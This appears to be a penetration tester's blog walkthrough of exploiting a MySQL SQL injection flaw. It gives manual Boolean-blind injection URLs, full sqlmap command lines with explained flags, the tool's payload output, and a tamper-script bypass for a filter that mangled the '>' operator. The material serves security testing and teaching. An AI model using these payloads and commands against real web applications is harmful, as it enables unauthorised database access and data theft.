SQLMap tool is your friend
Hello all!
For the
most of you there is nothing new talking about SQL Injection and exploitation
techniques.
As I friend
of mine says: "SQL Injection is the pop star of the vulnerabilities".
What I will
show here is how SQLMap can help you to exploit tricky SQL injection vulnerabilities.
Just the
other day performing a penetration testing on a web application I’ve found a
SQL injection flaw.
In order to
find such vulnerability I was only browsing the application (doing some
recognition) and by changing the ID parameter in the follow URL it was enough
to give me some clue about the flaw:
https://target.com.br/index.php?a=info&ID=32'
Result:
You have an
error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near '\'' at line 1
Well, I was
happy to have found it and I started the process to find a way to exploit it. First
of all I decided for the UNION technique exploitation, then I tried to find how
many columns there was in the SQL select statement:
https://target.com.br/index.php?a=info&ID=32
ORDER BY 2-- (result true)
https://target.com.br/index.php?a=info&ID=32
ORDER BY 3-- (result true)
https://target.com.br/index.php?a=info&ID=32
ORDER BY 4-- (error)
I’ve found
out there were 3 columns in the select statement. To confirm the UNION possibility I’ve tried:
https://target.com.br/index.php?a=info&ID=32
UNION SELECT 1,1,1--
Not so
happy! Even the query executed with success the application took the same
parameter and used it in other query before give me some results. Then I got this
(weird/wonderful) error:
sql: SELECT
ID (…) AS FK_ARQUIVO FROM TB_INFO WHERE ID = 32 UNION SELECT 1,1,1--
message: The used SELECT statements have a different number of columns
ErrorNo: 1222
message: The used SELECT statements have a different number of columns
ErrorNo: 1222
Ok. There were
three possibilities to exploit this SQL injection flaw: using a out of band
channel technique (INTO OUTFILE clause) , using an error based exploitation or
to perform a Boolean blind SQL injection by inference. As the database was
MySql and the PHP magic_quotes was
turned on (escaping all the single quotes necessary when you want INTO OUTFILE
clause) I decided to check for the error based and Boolean technique.
I tried
several error based entries but in some way the application filtered all the
error messages responses (unlikely the wonderful error message I got previously.) and I
was blind!
I moved to
the Boolean technique. The first testing was performed to check if the MySql
version was 5.x, extracting the first character of the string returned by the
version() function and comparing it with the number 5:
https://target.com.br/index.php?a=info&ID
=32 AND MID( (VERSION()),1,1 )=5--
I’ve got a
blank page. I moved further and I tried the number 4:
https://target.com.br/index.php?a=info&ID
=32 AND MID( (VERSION()),1,1 )=4--
Then I got
the result expected as if I have requested:
https://target.com.br/index.php?a=info&ID
=32
It was
possible to perform the Boolean attack and the database was MySql version 4.x.
With this
Boolean technique you can perform the data extraction but as you notice, it’s a
lot of work. You have to check for every possible character and position by
position. Now it’s time for SQLMap. From the SQLMap Documentation about the
Boolean technique:
"Boolean-based
blind SQL injection, also known as inferential SQL injection: sqlmap replaces
or appends to the affected parameter
in the HTTP request, a syntatically valid SQL
statement string containing a SELECT sub-statement, or any other SQL statement
whose
the user want to retrieve the output. For each
HTTP response, by making a comparison between the HTTP response headers/body
with
the
original request, the tool inference the output of the injected statement
character by character. Alternatively, the user can
provide a
string or regular expression to match on True pages. The bisection algorithm
implemented in sqlmap to perform this technique
is able
to fetch each character of the output with a maximum of seven HTTP requests.
Where the output is not within the clear-text plain
charset,
sqlmap will adapt the algorithm with bigger ranges to detect the output."
Not bad! The
tool will try to fetch each character with a maximum of seven HTTP requests. Okay.
Let’s do it!
./sqlmap.py
-u https://target.com.br/index.php?a-info&ID=32 -p ID --level=5 --dbms=m
ysql --technique=b
--current-user –v 3 --user -agent=Mozilla 5.0 --string=District
The detailed parameters:
-u: target
URL including the vulnerable parameter
-p: to
specify the vulnerable parameter, the SQLMap will try to inject in it.
--level: the level of the attack sophistication needed
(default 1)
--dbms: to
tell SQLMap which is the DBMS
--technique:
to set which technique we would like to use
--current-user:
to extract the current user when performing the SQL Injection attack
--user-agent:
to specify an user agent string (default is sqlmap/1.0-dev (http//sqlmap.org))
-v: verbose
level (in this case it shows only the payloads)
--string:
to specify an unique string presents in the raw response when a condition is
true
And this is
the output from the tool:
[16:04:26]
[INFO] testing connection to the target url
[16:04:28]
[INFO] testing if the provided string is within the target URL page content
sqlmap
identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter:
ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or
HAVING clause
Payload: ID=32 AND 9992=9992
Vector: AND [INFERENCE]
---
[16:04:29]
[INFO] testing MySQL
[16:04:29]
[PAYLOAD] 32 AND QUARTER(NULL) IS NULL
[16:04:31]
[WARNING] reflective value(s) found and filtering out
[16:04:31]
[INFO] confirming MySQL
[16:04:31]
[PAYLOAD] 32 AND USER()=USER()
[16:04:33]
[PAYLOAD] 32 AND ISNULL(TIMESTAMPADD(MINUTE,1,1))
[16:04:35]
[PAYLOAD] 32 AND DATABASE() LIKE SCHEMA()
[16:04:36]
[PAYLOAD] 32 AND STRCMP(LOWER(CURRENT_USER()),UPPER(CURRENT_USER()))
=0
[16:04:37]
[INFO] the back-end DBMS is MySQL
web server
operating system: Windows
web
application technology: Apache 2.x, PHP 5.2.2
back-end
DBMS: MySQL < 5.0.0
[16:04:37]
[INFO] fetching current user
[16:04:37]
[WARNING] running in a single-thread mode. Please consider usage of o
ption
'--threads' for faster data retrieval
[16:04:37]
[PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) >
64
[16:04:39]
[PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) >
32
[16:04:40]
[PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) >
16
[16:04:41]
[PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) >
8
[16:04:42]
[PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) >
4
[16:04:44]
[PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) >
2
[16:04:45]
[PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) >
1
[16:04:46]
[INFO] retrieved:
[16:04:46]
[DEBUG] performed 7 queries in 8 seconds
[16:04:46]
[WARNING] in case of continuous data retrieval problems you are advis
ed to try a
switch '--no-cast' and/or switch '--hex'
current user: None
[*]
shutting down at 16:04:46
As you can
see in the results, the tool couldn’t extract anything. How it would be possible?
What was wrong? After some investigation I’ve found out what happened. The
perform a faster data extraction SQLMap uses an algorithm checking if the
character being under test is greater of less than certain value:
Payload: 32
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 64
In this
case it tests if the first character code is greater than 64 (ASCII code table
for @ symbol). Then the tool manipulates these numbers until figure out which
is the right character and move forward.
Nothing was
wrong with this logic. I decided for a manual exploitation using the same
technique to observe easily the responses from the web server. And there was
there! When I tried the payload mentioned above I got this error message:
You have an
error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near '; 64' at line 1
Can you see
something wrong in this message? What’s that? Did I type semicolon instead of
greater symbol? No, I didn’t but, the application in some way was changing the
greater symbol for the semicolon (near '; 64' at line 1) making the SQL
statement invalid. I’ve found the problem
and how about the solution? To perform the same technique in a different way we
could use BETWEEN clause. Instead of “> 64”, it would be “BETWEEN 64 AND 128”.
Then the request would be:
https://target/index.php?a=info&ID=32%20AND%20ORD%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29,0x20%29%29,1,1%29%29%20BETWEEN%20%2064%20AND%20128
However it’s
still a lot of work to perform this task, character by character. AS SQLMap is
a very handy tool you have the possibility to use tamper scripts to modify the
payloads. Thus you can customize your payloads performing character encoding,
inserting comments between the requests, change the letter capital substitution
and write evasive payloads. In the tamper directory you find more than 30
tamper scripts ready for you. One of those scripts is the between script. Look at
the comment inside the script:
Replaces
greater than operator ('>') with 'NOT BETWEEN 0 AND #'
Example:
* Input: 'A > B'
* Output: 'A NOT BETWEEN 0 AND B'
I’ve decided
to give a try:
./sqlmap.py
-u https://target.com.br/index.php?a-info&ID=32 -p ID --level=5 --dbms=m
ysql --technique=b
--current-user –v 3 --user -agent=Mozilla 5.0 --string=District --tamper=between
That’s the
output from the tool:
[16:34:03]
[PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
…
[16:34:13]
[PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
7,1)) NOT
BETWEEN 0 AND 1
[16:34:15]
[INFO] retrieved: target@dbms1001
Conclusion:
SQLmap is a
very handy tool that can help the testers to perform their tasks with good algorithms,
techniques and customization level. Before run SQLMap try to find out how the
application behaves, which parameters are vulnerable, which is the DBMS version,
if there is intrusion prevention mechanisms etc.
Comments
Post a Comment